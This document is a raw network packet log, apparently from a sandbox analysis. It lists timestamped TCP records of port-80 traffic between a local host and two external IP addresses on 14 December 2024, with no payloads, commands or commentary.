Dec 14, 2024 14:56:30.880415916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.880469084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.880583048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.881480932 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.881524086 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.881661892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.882174969 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.882544041 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.882589102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.882652044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.882730007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.883692026 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.883821964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.883841038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.883852005 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.884774923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.884830952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.884871960 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.885483027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.885519981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.885601044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.885636091 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.886763096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.886775017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.886811018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.887449980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.887490988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.887552977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.887649059 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.888592958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.888643980 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.888792038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.888922930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.889714003 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.889751911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.889806032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.889847994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.890893936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.890944004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.890985012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.891942024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.891987085 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.892067909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.892105103 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.893090963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.893130064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.893182993 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.893223047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.894146919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.894188881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.894215107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.894252062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.895262003 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.895323038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.895378113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.895415068 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.896316051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.896352053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.972265959 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.972311974 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.972323895 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.972388029 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.972410917 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:30.972503901 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.972512007 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:30.972517014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.972539902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.972552061 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.972563028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.972568035 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:30.972589016 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:30.972698927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:30.972986937 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.042342901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.042356014 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.042471886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.042654991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.042733908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.042792082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.043037891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.043461084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.043504000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.043529034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.043565989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.044234991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.044243097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.044275999 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.044290066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.044636011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.044678926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.044704914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.044814110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.045618057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.045665026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.045690060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.046169043 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.046735048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.046853065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.046892881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.047822952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.047867060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.047923088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.047964096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.048926115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.048969984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.049045086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.049160004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.050061941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.050106049 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.050196886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.050450087 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.051167011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.051260948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.051306963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.051358938 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.052294016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.052340031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.052397966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.052524090 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.053379059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.053422928 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.053491116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.053805113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.054538012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.054585934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.054687023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.054845095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.055634975 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.055671930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.055746078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.055793047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.056714058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.056849957 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.056893110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.057851076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.057888031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.057941914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.057987928 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.058958054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.058995008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.059078932 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.059238911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.060112000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.060153961 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.060235023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.060323954 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.061218977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.061242104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.061266899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.061275959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.062299967 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.062344074 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.062350988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.062386990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.063584089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.063621044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.063703060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.063736916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.064527988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.064564943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.064577103 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.064611912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.065654039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.065695047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.065717936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.065829992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.066773891 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.066811085 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.066869974 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.066911936 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.067893028 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.067934036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.067946911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.068178892 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.069133997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.069344044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.069391012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.070102930 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.070153952 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.070198059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.070235014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.071257114 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.071310043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.071310997 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.071350098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.072331905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.072381020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.072427034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.072463036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.073451996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.073493958 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.073523998 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.073566914 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.074529886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.074624062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.074655056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.074692965 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.075678110 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.075717926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.075787067 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.075836897 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.076781988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.076914072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.076921940 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.076961040 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.078039885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.078079939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.078176022 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.078212023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.079037905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.079093933 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.079107046 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.079139948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.080132008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.080195904 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.080254078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.080355883 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.081260920 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.081420898 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.081429958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.081594944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.082341909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.082402945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.082432032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.082472086 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.083452940 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.083492994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.083602905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.083637953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.084809065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.084825039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.084856033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.084872007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.085710049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.085779905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.085805893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.085849047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.086811066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.086869955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.086883068 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.086909056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.087951899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.088013887 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.088035107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.088068008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.089046955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.089113951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.089145899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.089185953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.090200901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.090251923 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.090313911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.090358019 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.091283083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.091299057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.091327906 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.091337919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.092417955 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.092477083 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.092488050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.092566013 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.092586994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.092622042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.092683077 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.093616962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.093708992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.093738079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.093738079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.094624043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.094666004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.094691038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.094923973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.095711946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.095791101 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.095869064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.095942020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.096684933 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.096812010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.096904039 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.096931934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.096968889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.097937107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.098016977 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.098078966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.098119974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.099066973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.099201918 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.099241018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.164741993 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.164925098 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.165180922 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.169126987 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.170486927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.170540094 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.170630932 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.171233892 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.178306103 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.178482056 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.178582907 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.186777115 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.186836958 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.187104940 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.195137024 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.195310116 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.195434093 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.203540087 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.203641891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.203768969 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.212003946 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.212091923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.212192059 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.220393896 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.220741987 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.220841885 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.228976965 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.228986979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.229064941 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.233505011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.233757973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.233828068 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.234049082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.234088898 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.234116077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.234148979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.235184908 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.235306978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.235346079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.236283064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.236320972 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.236654997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.236681938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.236694098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.236718893 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.237191916 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.237308979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.237754107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.237823009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.237826109 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.237845898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.237876892 CET	49876	80	192.168.2.5	31.41.244.11
